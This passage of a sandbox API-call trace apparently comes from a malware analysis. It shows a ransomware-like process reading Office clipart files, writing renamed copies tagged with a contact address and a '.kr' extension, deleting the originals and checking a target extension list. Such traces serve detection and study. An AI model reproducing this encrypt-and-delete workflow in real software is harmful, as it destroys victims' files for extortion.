lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x35d8, lpOverlapped=0x0) returned 1 [0211.109] WriteFile (in: hFile=0x38c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x35e0, lpOverlapped=0x0) returned 1 [0211.110] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.110] WriteFile (in: hFile=0x38c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.110] SetEndOfFile (hFile=0x38c) returned 1 [0211.110] CloseHandle (hObject=0x38c) returned 1 [0211.111] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.111] SetEndOfFile (hFile=0x4d8) returned 1 [0211.117] CloseHandle (hObject=0x4d8) returned 1 [0211.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0211.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0211.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0211.121] lstrlenW (lpString=".doc") returned 4 [0211.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.121] lstrlenW (lpString=".docx") returned 5 [0211.121] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.121] lstrlenW (lpString=".pdf") returned 4 [0211.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.121] lstrlenW (lpString=".xls") returned 4 [0211.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.121] lstrlenW (lpString=".xlsx") returned 5 [0211.121] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.121] lstrlenW (lpString=".ppt") returned 4 [0211.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0211.121] lstrlenW (lpString=".zip") returned 4 [0211.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.121] lstrlenW (lpString=".rar") returned 4 [0211.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.121] lstrlenW (lpString=".bz2") returned 4 [0211.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.121] lstrlenW (lpString=".7z") returned 3 [0211.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0211.121] lstrlenW (lpString=".dbf") returned 4 [0211.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0211.121] lstrlenW (lpString=".1cd") returned 4 [0211.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0211.122] lstrlenW (lpString=".jpg") returned 4 [0211.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0211.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0211.122] lstrlenW (lpString=".doc") returned 4 [0211.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.122] lstrlenW (lpString=".docx") returned 5 [0211.122] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.122] lstrlenW (lpString=".pdf") returned 4 [0211.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.122] lstrlenW (lpString=".xls") returned 4 [0211.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.122] lstrlenW (lpString=".xlsx") returned 5 [0211.122] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.122] lstrlenW (lpString=".ppt") returned 4 [0211.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0211.122] lstrlenW (lpString=".zip") returned 4 [0211.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.122] lstrlenW (lpString=".rar") returned 4 [0211.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.122] lstrlenW (lpString=".bz2") returned 4 [0211.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.122] lstrlenW (lpString=".7z") returned 3 [0211.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0211.122] lstrlenW (lpString=".dbf") returned 4 [0211.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0211.122] lstrlenW (lpString=".1cd") returned 4 [0211.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0211.123] lstrlenW (lpString=".jpg") returned 4 [0211.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.123] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.123] lstrlenW (lpString="J0107132.WMF") returned 12 [0211.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.124] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=48380) returned 1 [0211.124] CloseHandle (hObject=0x4d8) returned 1 [0211.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 0x220 [0211.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.125] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.125] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.126] GetLastError () returned 0x0 [0211.126] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xbcfc, lpOverlapped=0x0) returned 1 [0211.129] WriteFile (in: hFile=0x38c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xbd00, lpOverlapped=0x0) returned 1 [0211.130] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.131] WriteFile (in: hFile=0x38c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.131] SetEndOfFile (hFile=0x38c) returned 1 [0211.131] CloseHandle (hObject=0x38c) returned 1 [0211.131] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.131] SetEndOfFile (hFile=0x4d8) returned 1 [0211.134] CloseHandle (hObject=0x4d8) returned 1 [0211.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0211.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0211.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0211.135] lstrlenW (lpString=".doc") returned 4 [0211.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.135] lstrlenW (lpString=".docx") returned 5 [0211.136] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.136] lstrlenW (lpString=".pdf") returned 4 [0211.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.136] lstrlenW (lpString=".xls") returned 4 [0211.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.136] lstrlenW (lpString=".xlsx") returned 5 [0211.136] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.136] lstrlenW (lpString=".ppt") returned 4 [0211.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0211.136] lstrlenW (lpString=".zip") returned 4 [0211.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.136] lstrlenW (lpString=".rar") returned 4 [0211.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.136] lstrlenW (lpString=".bz2") returned 4 [0211.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.136] lstrlenW (lpString=".7z") returned 3 [0211.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0211.136] lstrlenW (lpString=".dbf") returned 4 [0211.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0211.136] lstrlenW (lpString=".1cd") returned 4 [0211.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0211.136] lstrlenW (lpString=".jpg") returned 4 [0211.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0211.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0211.136] lstrlenW (lpString=".doc") returned 4 [0211.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.136] lstrlenW (lpString=".docx") returned 5 [0211.136] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.137] lstrlenW (lpString=".pdf") returned 4 [0211.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.137] lstrlenW (lpString=".xls") returned 4 [0211.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.137] lstrlenW (lpString=".xlsx") returned 5 [0211.137] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.137] lstrlenW (lpString=".ppt") returned 4 [0211.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0211.137] lstrlenW (lpString=".zip") returned 4 [0211.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.137] lstrlenW (lpString=".rar") returned 4 [0211.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.137] lstrlenW (lpString=".bz2") returned 4 [0211.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.137] lstrlenW (lpString=".7z") returned 3 [0211.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0211.137] lstrlenW (lpString=".dbf") returned 4 [0211.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0211.137] lstrlenW (lpString=".1cd") returned 4 [0211.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0211.137] lstrlenW (lpString=".jpg") returned 4 [0211.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.137] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.137] lstrlenW (lpString="J0107134.WMF") returned 12 [0211.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.138] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=48388) returned 1 [0211.138] CloseHandle (hObject=0x4d8) returned 1 [0211.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 0x220 [0211.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.139] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.139] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.140] GetLastError () returned 0x0 [0211.140] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xbd04, lpOverlapped=0x0) returned 1 [0211.227] WriteFile (in: hFile=0x38c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xbd10, lpOverlapped=0x0) returned 1 [0211.229] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.229] WriteFile (in: hFile=0x38c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.229] SetEndOfFile (hFile=0x38c) returned 1 [0211.229] CloseHandle (hObject=0x38c) returned 1 [0211.229] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.229] SetEndOfFile (hFile=0x4d8) returned 1 [0211.233] CloseHandle (hObject=0x4d8) returned 1 [0211.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 1 [0211.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0211.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0211.234] lstrlenW (lpString=".doc") returned 4 [0211.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.234] lstrlenW (lpString=".docx") returned 5 [0211.234] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0211.234] lstrlenW (lpString=".pdf") returned 4 [0211.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.234] lstrlenW (lpString=".xls") returned 4 [0211.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.234] lstrlenW (lpString=".xlsx") returned 5 [0211.234] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0211.234] lstrlenW (lpString=".ppt") returned 4 [0211.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0211.234] lstrlenW (lpString=".zip") returned 4 [0211.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.235] lstrlenW (lpString=".rar") returned 4 [0211.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.235] lstrlenW (lpString=".bz2") returned 4 [0211.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.235] lstrlenW (lpString=".7z") returned 3 [0211.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0211.235] lstrlenW (lpString=".dbf") returned 4 [0211.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0211.235] lstrlenW (lpString=".1cd") returned 4 [0211.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0211.235] lstrlenW (lpString=".jpg") returned 4 [0211.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0211.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0211.235] lstrlenW (lpString=".doc") returned 4 [0211.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.235] lstrlenW (lpString=".docx") returned 5 [0211.235] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0211.235] lstrlenW (lpString=".pdf") returned 4 [0211.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.235] lstrlenW (lpString=".xls") returned 4 [0211.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.235] lstrlenW (lpString=".xlsx") returned 5 [0211.235] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0211.235] lstrlenW (lpString=".ppt") returned 4 [0211.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0211.235] lstrlenW (lpString=".zip") returned 4 [0211.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.236] lstrlenW (lpString=".rar") returned 4 [0211.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.236] lstrlenW (lpString=".bz2") returned 4 [0211.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.236] lstrlenW (lpString=".7z") returned 3 [0211.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0211.236] lstrlenW (lpString=".dbf") returned 4 [0211.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0211.236] lstrlenW (lpString=".1cd") returned 4 [0211.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0211.236] lstrlenW (lpString=".jpg") returned 4 [0211.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.236] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.236] lstrlenW (lpString="J0107182.WMF") returned 12 [0211.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.237] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=16100) returned 1 [0211.237] CloseHandle (hObject=0x4d8) returned 1 [0211.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 0x220 [0211.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.238] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.238] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.238] GetLastError () returned 0x0 [0211.238] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x3ee4, lpOverlapped=0x0) returned 1 [0211.240] WriteFile (in: hFile=0x38c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0211.241] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, 